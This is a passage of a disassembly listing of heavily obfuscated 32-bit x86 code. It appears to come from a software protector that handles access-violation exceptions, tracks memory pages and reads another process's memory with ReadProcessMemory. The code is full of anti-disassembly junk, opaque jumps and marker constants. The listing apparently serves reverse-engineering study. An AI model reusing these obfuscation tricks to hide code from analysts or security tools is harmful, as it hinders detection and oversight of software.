loc_4B9FAE: ; CODE XREF: .text:004B9FA7j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B9F94
loc_4B9FB7: ; CODE XREF: .text:loc_4B9F94j
jmp near ptr 92B23D1Dh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-0A48h] ; CODE XREF: .text:004BA032j
sub eax, dword_4F4754
shr eax, 0Ch
mov [ebp-0D18h], eax
cmp dword ptr [ebp-0D18h], 0
jl loc_4BA07D
mov ecx, [ebp-0D18h]
cmp ecx, dword_4F4768
jge loc_4BA07D
mov edx, [ebp-0C5Ch]
sub edx, dword_4F4754
shr edx, 0Ch
mov [ebp-0D1Ch], edx
mov eax, [ebp-0D18h]
cmp eax, [ebp-0D1Ch]
jz short loc_4BA07D
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BA04E ; CODE XREF: .text:loc_4BA04Ej
; ---------------------------------------------------------------------------
db 0D2h
; ---------------------------------------------------------------------------
loc_4BA024: ; CODE XREF: .text:loc_4BA09Bj
jo short loc_4BA034
loc_4BA026: ; CODE XREF: .text:004BA047j
jmp short loc_4BA045
; ---------------------------------------------------------------------------
loc_4BA028: ; CODE XREF: .text:loc_4BA045j
xor ecx, ecx
loc_4BA02A: ; CODE XREF: .text:004BA039j
jz short $+2
jmp short near ptr loc_4BA03D+1
; ---------------------------------------------------------------------------
loc_4BA02E: ; CODE XREF: .text:004BA042j
stc
xor ecx, 3
jz short near ptr loc_4B9FC0+4
loc_4BA034: ; CODE XREF: .text:loc_4BA024j
jmp short loc_4BA03B
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BA037: ; CODE XREF: .text:loc_4BA03Bj
jmp short loc_4BA049
; ---------------------------------------------------------------------------
jz short loc_4BA02A
loc_4BA03B: ; CODE XREF: .text:loc_4BA034j
jnb short loc_4BA037
loc_4BA03D: ; CODE XREF: .text:004BA02Cj
repne sbb bl, bl
xor ebx, ebx
jmp short loc_4BA02E
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BA045: ; CODE XREF: .text:loc_4BA026j
jmp short loc_4BA028
; ---------------------------------------------------------------------------
jmp short loc_4BA026
; ---------------------------------------------------------------------------
loc_4BA049: ; CODE XREF: .text:loc_4BA037j
repne sbb al, 0DBh
jmp short loc_4BA051
; ---------------------------------------------------------------------------
loc_4BA04E: ; CODE XREF: .text:004BA021j
jmp short near ptr loc_4BA021+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BA051: ; CODE XREF: .text:004BA04Cj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, dword_4F4768
shl ecx, 0Ch
mov edx, dword_4F4754
add edx, ecx
mov dword_4F4754, edx
jo short loc_4BA07B
jl short loc_4BA079
loc_4BA076: ; CODE XREF: .text:loc_4BA079j
; .text:loc_4BA07Bj
jmp short loc_4BA07D
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BA079: ; CODE XREF: .text:004BA074j
jz short loc_4BA076
loc_4BA07B: ; CODE XREF: .text:004BA072j
jmp short loc_4BA076
; ---------------------------------------------------------------------------
loc_4BA07D: ; CODE XREF: .text:004B9F09j
; .text:loc_4B9F6Ej ...
pusha
xor eax, eax
jnz short loc_4BA084
jmp short loc_4BA099
; ---------------------------------------------------------------------------
loc_4BA084: ; CODE XREF: .text:004BA080j
jmp short loc_4BA0B9
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BA08B: ; CODE XREF: .text:loc_4BA099j
jo short loc_4BA09B
jmp short near ptr loc_4BA09B+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BA099: ; CODE XREF: .text:004BA082j
jz short loc_4BA08B
loc_4BA09B: ; CODE XREF: .text:loc_4BA08Bj
; .text:004BA08Dj
jmp short loc_4BA024
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 8B6133A0h, 0FFF5D085h, 18488BFFh, 0F5BC8D89h, 958BFFFFh
dd 0FFFFF5D0h
db 33h
; ---------------------------------------------------------------------------
loc_4BA0B9: ; CODE XREF: .text:loc_4BA084j
rol byte ptr [ebx+0F00207Ah], 94h
ror byte ptr [eax-0A3B7Bh], 0FFh
mov ecx, [ebp-0A48h]
sub ecx, dword_4F4754
shr ecx, 0Ch
mov [ebp-0A40h], ecx
xor edx, edx
mov dl, byte_4F4742
test edx, edx
jz loc_4BA2A3
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BA10F
loc_4BA10C: ; CODE XREF: .text:004BA12Dj
jmp short near ptr loc_4BA12F+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA10F: ; CODE XREF: .text:004BA10Aj
xor ebx, ebx
jz short $+2
jmp short loc_4BA122
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BA118: ; CODE XREF: .text:004BA124j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BA126
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA122: ; CODE XREF: .text:004BA113j
xor eax, eax
jz short loc_4BA118
loc_4BA126: ; CODE XREF: .text:004BA11Fj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BA10C
loc_4BA12F: ; CODE XREF: .text:loc_4BA10Cj
jmp near ptr 92B23E95h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-0A40h]
sub eax, 1
test eax, eax
jl short loc_4BA1C4
push 1
mov ecx, [ebp-0A40h]
xor edx, edx
mov dl, byte_4F1F77[ecx]
mov eax, [ebp-0A40h]
xor ecx, ecx
mov cl, byte_4F1F78[eax]
mov esi, dword_4ED3A8[edx*4]
xor esi, dword_4ED3A8[ecx*4]
loc_4BA171: ; CODE XREF: .text:004BA1DFj
mov edx, [ebp-0A40h]
xor eax, eax
mov al, byte_4F1F79[edx]
xor esi, dword_4ED3A8[eax*4]
mov eax, [ebp-0A40h]
sub eax, 1
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr esi, cl
and esi, 0Fh
mov edx, [ebp-0A40h]
lea eax, [edx+esi-10h]
mov ecx, dword_4F474C
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp-0A40h]
sub eax, 1
push eax
call loc_4BC15F
add esp, 0Ch
loc_4BA1C4: ; CODE XREF: .text:004BA143j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BA1FB ; CODE XREF: .text:loc_4BA1FBj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BA1D3: ; CODE XREF: .text:004BA1F4j
jmp short loc_4BA1F2
; ---------------------------------------------------------------------------
loc_4BA1D5: ; CODE XREF: .text:loc_4BA1F2j
xor ecx, ecx
loc_4BA1D7: ; CODE XREF: .text:004BA1E6j
jz short $+2
jmp short loc_4BA1EB
; ---------------------------------------------------------------------------
loc_4BA1DB: ; CODE XREF: .text:004BA1EFj
stc
xor ecx, 3
jz short loc_4BA171
jmp short loc_4BA1E8
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BA1E4: ; CODE XREF: .text:loc_4BA1E8j
jmp short loc_4BA1F6
; ---------------------------------------------------------------------------
jz short loc_4BA1D7
loc_4BA1E8: ; CODE XREF: .text:004BA1E1j
jnb short loc_4BA1E4
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BA1EB: ; CODE XREF: .text:004BA1D9j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BA1DB
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BA1F2: ; CODE XREF: .text:loc_4BA1D3j
jmp short loc_4BA1D5
; ---------------------------------------------------------------------------
jmp short loc_4BA1D3
; ---------------------------------------------------------------------------
loc_4BA1F6: ; CODE XREF: .text:loc_4BA1E4j
repne sbb al, 0DBh
jmp short loc_4BA1FE
; ---------------------------------------------------------------------------
loc_4BA1FB: ; CODE XREF: .text:004BA1CEj
jmp short near ptr loc_4BA1CE+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BA1FE: ; CODE XREF: .text:004BA1F9j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, [ebp-0A40h]
add ecx, 1
cmp ecx, dword_4F4768
jge short loc_4BA298
push 1
mov edx, [ebp-0A40h]
xor eax, eax
mov al, byte_4F1F79[edx]
mov ecx, [ebp-0A40h]
xor edx, edx
mov dl, byte_4F1F7A[ecx]
mov esi, dword_4ED3A8[eax*4]
xor esi, dword_4ED3A8[edx*4]
mov eax, [ebp-0A40h]
xor ecx, ecx
mov cl, byte_4F1F7B[eax]
xor esi, dword_4ED3A8[ecx*4]
mov eax, [ebp-0A40h]
add eax, 1
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr esi, cl
and esi, 0Fh
mov edx, [ebp-0A40h]
lea eax, [edx+esi+10h]
mov ecx, dword_4F474C
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp-0A40h]
add eax, 1
push eax
call loc_4BC15F
add esp, 0Ch
loc_4BA298: ; CODE XREF: .text:004BA217j
jo short loc_4BA2A1
jl short loc_4BA29F
loc_4BA29C: ; CODE XREF: .text:loc_4BA29Fj
; .text:loc_4BA2A1j
jmp short loc_4BA2A3
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BA29F: ; CODE XREF: .text:004BA29Aj
jz short loc_4BA29C
loc_4BA2A1: ; CODE XREF: .text:loc_4BA298j
jmp short loc_4BA29C
; ---------------------------------------------------------------------------
loc_4BA2A3: ; CODE XREF: .text:004BA0E6j
; .text:loc_4BA29Cj
cmp dword ptr [ebp-0A40h], 0
jl loc_4BA558
mov ecx, [ebp-0A40h]
cmp ecx, dword_4F4768
jge loc_4BA558
mov edx, [ebp-9CCh]
and edx, 0FFh
test edx, edx
jz loc_4BA383
push 0
mov esi, [ebp-0A40h]
shl esi, 4
mov eax, [ebp-0A40h]
and eax, 80000007h
jns short loc_4BA2F3
dec eax
or eax, 0FFFFFFF8h
inc eax
loc_4BA2F3: ; CODE XREF: .text:004BA2ECj
xor ecx, ecx
mov cl, byte_4F1F78[eax]
mov edx, [ebp-0A40h]
and edx, 80000007h
jns short loc_4BA30E
dec edx
or edx, 0FFFFFFF8h
inc edx
loc_4BA30E: ; CODE XREF: .text:004BA307j
xor eax, eax
mov al, byte_4F1F79[edx]
mov edi, dword_4ED3A8[ecx*4]
xor edi, dword_4ED3A8[eax*4]
mov ecx, [ebp-0A40h]
and ecx, 80000007h
jns short loc_4BA337
dec ecx
or ecx, 0FFFFFFF8h
inc ecx
loc_4BA337: ; CODE XREF: .text:004BA330j
xor edx, edx
mov dl, byte_4F1F7A[ecx]
xor edi, dword_4ED3A8[edx*4]
mov eax, [ebp-0A40h]
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr edi, cl
and edi, 0Fh
add esi, edi
mov edx, dword_4F474C
lea eax, [edx+esi*4]
push eax
mov ecx, [ebp-0A40h]
push ecx
call loc_4BC15F
add esp, 0Ch
and eax, 0FFh
test eax, eax
jz loc_4BA558
loc_4BA383: ; CODE XREF: .text:004BA2D0j
cmp dword ptr [ebp-2Ch], 0
jnz short loc_4BA3B0
mov edx, dword_4ED3B0
xor edx, dword_4ED3FC
xor edx, dword_4ED3F0
and edx, 200000h
test edx, edx
jz short loc_4BA3B0
mov eax, dword_4F4764
mov ecx, [eax+10h]
mov [ebp-2Ch], ecx
loc_4BA3B0: ; CODE XREF: .text:004BA387j
; .text:004BA3A3j
cmp dword ptr [ebp-2Ch], 0
jz short loc_4BA3DD
mov edx, [ebp-0A44h] ; CODE XREF: .text:loc_4BA42Ej
cmp edx, [ebp-2Ch]
jb short loc_4BA3DD
mov eax, [ebp-2Ch]
add eax, 10000h
cmp [ebp-0A44h], eax
jnb short loc_4BA3DD
mov ecx, dword_4F4754
mov [ebp-0A44h], ecx
loc_4BA3DD: ; CODE XREF: .text:004BA3B4j
; .text:004BA3BFj ...
mov edx, [ebp-0A44h]
cmp edx, dword_4F4754
jb short loc_4BA407
mov eax, dword_4F4768
shl eax, 0Ch
mov ecx, dword_4F4754
add ecx, eax
cmp [ebp-0A44h], ecx
jbe loc_4BA54E
loc_4BA407: ; CODE XREF: .text:004BA3E9j
mov word ptr [ebp-0D24h], 0
pusha
xor eax, eax
jnz short loc_4BA417
jmp short loc_4BA42C
; ---------------------------------------------------------------------------
loc_4BA417: ; CODE XREF: .text:004BA413j
jmp short loc_4BA44C
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BA41E: ; CODE XREF: .text:loc_4BA42Cj
jo short loc_4BA42E
jmp short near ptr loc_4BA42E+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BA42C: ; CODE XREF: .text:004BA415j
jz short loc_4BA41E
loc_4BA42E: ; CODE XREF: .text:loc_4BA41Ej
; .text:004BA420j
jmp short near ptr loc_4BA3B6+1
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 958B6133h, 0FFFFF5BCh, 4750A152h, 88B004Fh
dd 0CFBFE851h, 0C483FFFFh
; ---------------------------------------------------------------------------
loc_4BA44C: ; CODE XREF: .text:loc_4BA417j
or [ecx-0D1F7Bh], cl
push dword ptr [eax+7]
jl short loc_4BA45A
loc_4BA457: ; CODE XREF: .text:loc_4BA45Aj
; .text:004BA45Cj
jmp short loc_4BA45E
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BA45A: ; CODE XREF: .text:004BA455j
jz short loc_4BA457
jmp short loc_4BA457
; ---------------------------------------------------------------------------
loc_4BA45E: ; CODE XREF: .text:loc_4BA457j
mov edx, [ebp-0A44h]
add edx, 1000h
mov [ebp-0A44h], edx
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BA493
loc_4BA490: ; CODE XREF: .text:004BA4B1j
jmp short near ptr loc_4BA4B3+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA493: ; CODE XREF: .text:004BA48Ej
xor ebx, ebx
jz short $+2
jmp short loc_4BA4A6
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BA49C: ; CODE XREF: .text:004BA4A8j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BA4AA
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA4A6: ; CODE XREF: .text:004BA497j
xor eax, eax
jz short loc_4BA49C
loc_4BA4AA: ; CODE XREF: .text:004BA4A3j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BA490
loc_4BA4B3: ; CODE XREF: .text:loc_4BA490j
; .text:004BA525j
jmp near ptr 92B24219h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
push 0
push 2
lea eax, [ebp-0D24h]
push eax
mov ecx, [ebp-0D20h]
push ecx
mov edx, dword_4F4750
mov eax, [edx]
push eax
call dword_4ED0D0 ; ReadProcessMemory
test eax, eax
jz short loc_4BA50A
mov ecx, [ebp-0D24h]
and ecx, 0FFFFh
cmp ecx, 5A4Dh
jz short loc_4BA50A
mov edx, dword_4F4768
shl edx, 0Ch
mov eax, dword_4F4754
add eax, edx
mov dword_4F4754, eax
loc_4BA50A: ; CODE XREF: .text:004BA4DFj
; .text:004BA4F3j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BA541 ; CODE XREF: .text:loc_4BA541j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BA519: ; CODE XREF: .text:004BA53Aj
jmp short loc_4BA538
; ---------------------------------------------------------------------------
loc_4BA51B: ; CODE XREF: .text:loc_4BA538j
xor ecx, ecx
loc_4BA51D: ; CODE XREF: .text:004BA52Cj
jz short $+2
jmp short loc_4BA531
; ---------------------------------------------------------------------------
loc_4BA521: ; CODE XREF: .text:004BA535j
stc
xor ecx, 3
jz short near ptr loc_4BA4B3+4
jmp short loc_4BA52E
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BA52A: ; CODE XREF: .text:loc_4BA52Ej
jmp short loc_4BA53C
; ---------------------------------------------------------------------------
jz short loc_4BA51D
loc_4BA52E: ; CODE XREF: .text:004BA527j
jnb short loc_4BA52A
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BA531: ; CODE XREF: .text:004BA51Fj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BA521
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BA538: ; CODE XREF: .text:loc_4BA519j
jmp short loc_4BA51B
; ---------------------------------------------------------------------------
jmp short loc_4BA519
; ---------------------------------------------------------------------------
loc_4BA53C: ; CODE XREF: .text:loc_4BA52Aj
repne sbb al, 0DBh
jmp short loc_4BA544
; ---------------------------------------------------------------------------
loc_4BA541: ; CODE XREF: .text:004BA514j
jmp short near ptr loc_4BA514+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BA544: ; CODE XREF: .text:004BA53Fj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
loc_4BA54E: ; CODE XREF: .text:004BA401j
mov dword ptr [ebp-0A34h], 10002h
loc_4BA558: ; CODE XREF: .text:004BA2AAj
; .text:004BA2BCj ...
jmp loc_4BB66A
; ---------------------------------------------------------------------------
loc_4BA55D: ; CODE XREF: .text:004B9E89j
; .text:004B9EA1j
mov ecx, dword_4ED418
xor ecx, 0C0000005h
cmp [ebp-0A38h], ecx
jnz loc_4BAA07
jo short loc_4BA57E
jl short loc_4BA57C
loc_4BA579: ; CODE XREF: .text:loc_4BA57Cj
; .text:loc_4BA57Ej
jmp short loc_4BA580
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BA57C: ; CODE XREF: .text:004BA577j
jz short loc_4BA579
loc_4BA57E: ; CODE XREF: .text:004BA575j
jmp short loc_4BA579
; ---------------------------------------------------------------------------
loc_4BA580: ; CODE XREF: .text:loc_4BA579j
mov eax, [ebp-0A30h]
mov ecx, [eax+18h]
mov [ebp-0D2Ch], ecx
mov dword ptr [ebp-0D28h], 0
xor edx, edx
mov dl, byte_4F4780
test edx, edx
jnz loc_4BA928
xor eax, eax
mov al, byte_4F4741
test eax, eax
jz loc_4BA928
mov ecx, [ebp-9CCh]
and ecx, 0FFh
test ecx, ecx
jz loc_4BA928
mov edx, [ebp-0A30h]
mov eax, [edx+24h]
mov [ebp-0D34h], eax
mov ecx, [ebp-0D34h]
sub ecx, dword_4F4754
shr ecx, 0Ch
mov [ebp-0D30h], ecx
xor edx, edx
mov dl, byte_4F4742
test edx, edx
jz loc_4BA7D2
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BA623
loc_4BA620: ; CODE XREF: .text:004BA641j
jmp short near ptr loc_4BA643+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA623: ; CODE XREF: .text:004BA61Ej
xor ebx, ebx
jz short $+2
jmp short loc_4BA636
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BA62C: ; CODE XREF: .text:004BA638j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BA63A
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BA636: ; CODE XREF: .text:004BA627j
xor eax, eax
jz short loc_4BA62C
loc_4BA63A: ; CODE XREF: .text:004BA633j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BA620
loc_4BA643: ; CODE XREF: .text:loc_4BA620j
jmp near ptr 92B243A9h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, [ebp-0D30h]
sub eax, 1
test eax, eax
jl short loc_4BA6D8
push 1
mov ecx, [ebp-0D30h]
xor edx, edx
mov dl, byte_4F1F77[ecx]
mov eax, [ebp-0D30h]
xor ecx, ecx
mov cl, byte_4F1F78[eax]
mov esi, dword_4ED3A8[edx*4]
xor esi, dword_4ED3A8[ecx*4]
loc_4BA685: ; CODE XREF: .text:004BA6F3j
mov edx, [ebp-0D30h]
xor eax, eax
mov al, byte_4F1F79[edx]
xor esi, dword_4ED3A8[eax*4]
mov eax, [ebp-0D30h]
sub eax, 1
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr esi, cl
and esi, 0Fh
mov edx, [ebp-0D30h]
lea eax, [edx+esi-10h]
mov ecx, dword_4F474C
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp-0D30h]
sub eax, 1
push eax
call loc_4BC15F
add esp, 0Ch
loc_4BA6D8: ; CODE XREF: .text:004BA657j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BA70F ; CODE XREF: .text:loc_4BA70Fj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BA6E7: ; CODE XREF: .text:004BA708j
jmp short loc_4BA706
; ---------------------------------------------------------------------------
loc_4BA6E9: ; CODE XREF: .text:loc_4BA706j
xor ecx, ecx
loc_4BA6EB: ; CODE XREF: .text:004BA6FAj
jz short $+2
jmp short loc_4BA6FF
; ---------------------------------------------------------------------------
loc_4BA6EF: ; CODE XREF: .text:004BA703j
stc
xor ecx, 3
jz short loc_4BA685
jmp short loc_4BA6FC
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BA6F8: ; CODE XREF: .text:loc_4BA6FCj
jmp short loc_4BA70A
; ---------------------------------------------------------------------------
jz short loc_4BA6EB
loc_4BA6FC: ; CODE XREF: .text:004BA6F5j
jnb short loc_4BA6F8
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BA6FF: ; CODE XREF: .text:004BA6EDj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BA6EF
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BA706: ; CODE XREF: .text:loc_4BA6E7j
jmp short loc_4BA6E9
; ---------------------------------------------------------------------------
jmp short loc_4BA6E7
; ---------------------------------------------------------------------------
loc_4BA70A: ; CODE XREF: .text:loc_4BA6F8j
repne sbb al, 0DBh
jmp short loc_4BA712
; ---------------------------------------------------------------------------
loc_4BA70F: ; CODE XREF: .text:004BA6E2j
jmp short near ptr loc_4BA6E2+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BA712: ; CODE XREF: .text:004BA70Dj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, [ebp-0D30h]
add ecx, 1
cmp ecx, dword_4F4768
jge short loc_4BA7AC
push 1
mov edx, [ebp-0D30h]
xor eax, eax
mov al, byte_4F1F79[edx]
mov ecx, [ebp-0D30h]
xor edx, edx
mov dl, byte_4F1F7A[ecx]
mov esi, dword_4ED3A8[eax*4]
xor esi, dword_4ED3A8[edx*4] ; CODE XREF: .text:loc_4BA7CAj
mov eax, [ebp-0D30h]
xor ecx, ecx
mov cl, byte_4F1F7B[eax]
xor esi, dword_4ED3A8[ecx*4]
mov eax, [ebp-0D30h]
add eax, 1
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr esi, cl
and esi, 0Fh
mov edx, [ebp-0D30h]
lea eax, [edx+esi+10h]
mov ecx, dword_4F474C
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp-0D30h]
add eax, 1
push eax
call loc_4BC15F
add esp, 0Ch
loc_4BA7AC: ; CODE XREF: .text:004BA72Bj
pusha
xor eax, eax
jnz short loc_4BA7B3
jmp short loc_4BA7C8
; ---------------------------------------------------------------------------
loc_4BA7B3: ; CODE XREF: .text:004BA7AFj
jmp short near ptr loc_4BA7E5+3
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BA7BA: ; CODE XREF: .text:loc_4BA7C8j
jo short loc_4BA7CA
jmp short near ptr loc_4BA7CA+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BA7C8: ; CODE XREF: .text:004BA7B1j
jz short loc_4BA7BA
loc_4BA7CA: ; CODE XREF: .text:loc_4BA7BAj
; .text:004BA7BCj
jmp short near ptr loc_4BA752+1
; ---------------------------------------------------------------------------
dd 0A0F07ADBh
db 33h, 61h
; ---------------------------------------------------------------------------
loc_4BA7D2: ; CODE XREF: .text:004BA5FAj
cmp dword ptr [ebp-0D30h], 0
jl loc_4BA910
mov ecx, [ebp-0D30h]
loc_4BA7E5: ; CODE XREF: .text:loc_4BA7B3j
cmp ecx, dword_4F4768
jge loc_4BA910
push 0
mov esi, [ebp-0D30h]
shl esi, 4
mov edx, [ebp-0D30h]
and edx, 80000007h
jns short loc_4BA80F
dec edx
or edx, 0FFFFFFF8h
inc edx
loc_4BA80F: ; CODE XREF: .text:004BA808j
xor eax, eax
mov al, byte_4F1F78[edx]
mov ecx, [ebp-0D30h]
and ecx, 80000007h
jns short loc_4BA82A
dec ecx
or ecx, 0FFFFFFF8h
inc ecx
loc_4BA82A: ; CODE XREF: .text:004BA823j
xor edx, edx
mov dl, byte_4F1F79[ecx]
mov edi, dword_4ED3A8[eax*4]
xor edi, dword_4ED3A8[edx*4]
mov eax, [ebp-0D30h] ; CODE XREF: .text:loc_4BA8B8j
and eax, 80000007h
jns short loc_4BA852
dec eax
or eax, 0FFFFFFF8h
inc eax
loc_4BA852: ; CODE XREF: .text:004BA84Bj
xor ecx, ecx
mov cl, byte_4F1F7A[eax]
xor edi, dword_4ED3A8[ecx*4]
mov eax, [ebp-0D30h]
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr edi, cl
and edi, 0Fh
add esi, edi ; CODE XREF: .text:004BA8E5j
mov edx, dword_4F474C
lea eax, [edx+esi*4]
push eax
mov ecx, [ebp-0D30h]
push ecx
call loc_4BC15F
add esp, 0Ch
and eax, 0FFh
test eax, eax
jz short loc_4BA910
pusha
xor eax, eax
jnz short loc_4BA8A1
jmp short loc_4BA8B6
; ---------------------------------------------------------------------------
loc_4BA8A1: ; CODE XREF: .text:004BA89Dj
jmp short loc_4BA8D6
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BA8A8: ; CODE XREF: .text:loc_4BA8B6j
jo short loc_4BA8B8
jmp short near ptr loc_4BA8B8+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BA8BF
loc_4BA8B6: ; CODE XREF: .text:004BA89Fj
jz short loc_4BA8A8
loc_4BA8B8: ; CODE XREF: .text:loc_4BA8A8j
; .text:004BA8AAj
jmp short near ptr loc_4BA840+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BA8BF: ; CODE XREF: .text:004BA8B4j
popa
mov dword ptr [ebp-0A34h], 10002h
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BA901 ; CODE XREF: .text:loc_4BA901j
; ---------------------------------------------------------------------------
loc_4BA8D6: ; CODE XREF: .text:loc_4BA8A1j
sal byte ptr [eax+0Eh], cl
loc_4BA8D9: ; CODE XREF: .text:004BA8FAj
jmp short loc_4BA8F8
; ---------------------------------------------------------------------------
loc_4BA8DB: ; CODE XREF: .text:loc_4BA8F8j
xor ecx, ecx
loc_4BA8DD: ; CODE XREF: .text:004BA8ECj
jz short $+2
jmp short loc_4BA8F1
; ---------------------------------------------------------------------------
loc_4BA8E1: ; CODE XREF: .text:004BA8F5j
stc
xor ecx, 3
jz short near ptr loc_4BA876+1
jmp short loc_4BA8EE
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BA8EA: ; CODE XREF: .text:loc_4BA8EEj
jmp short loc_4BA8FC
; ---------------------------------------------------------------------------
jz short loc_4BA8DD
loc_4BA8EE: ; CODE XREF: .text:004BA8E7j
jnb short loc_4BA8EA
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BA8F1: ; CODE XREF: .text:004BA8DFj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BA8E1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BA8F8: ; CODE XREF: .text:loc_4BA8D9j
jmp short loc_4BA8DB
; ---------------------------------------------------------------------------
jmp short loc_4BA8D9
; ---------------------------------------------------------------------------
loc_4BA8FC: ; CODE XREF: .text:loc_4BA8EAj
repne sbb al, 0DBh
jmp short loc_4BA904
; ---------------------------------------------------------------------------
loc_4BA901: ; CODE XREF: .text:004BA8D4j
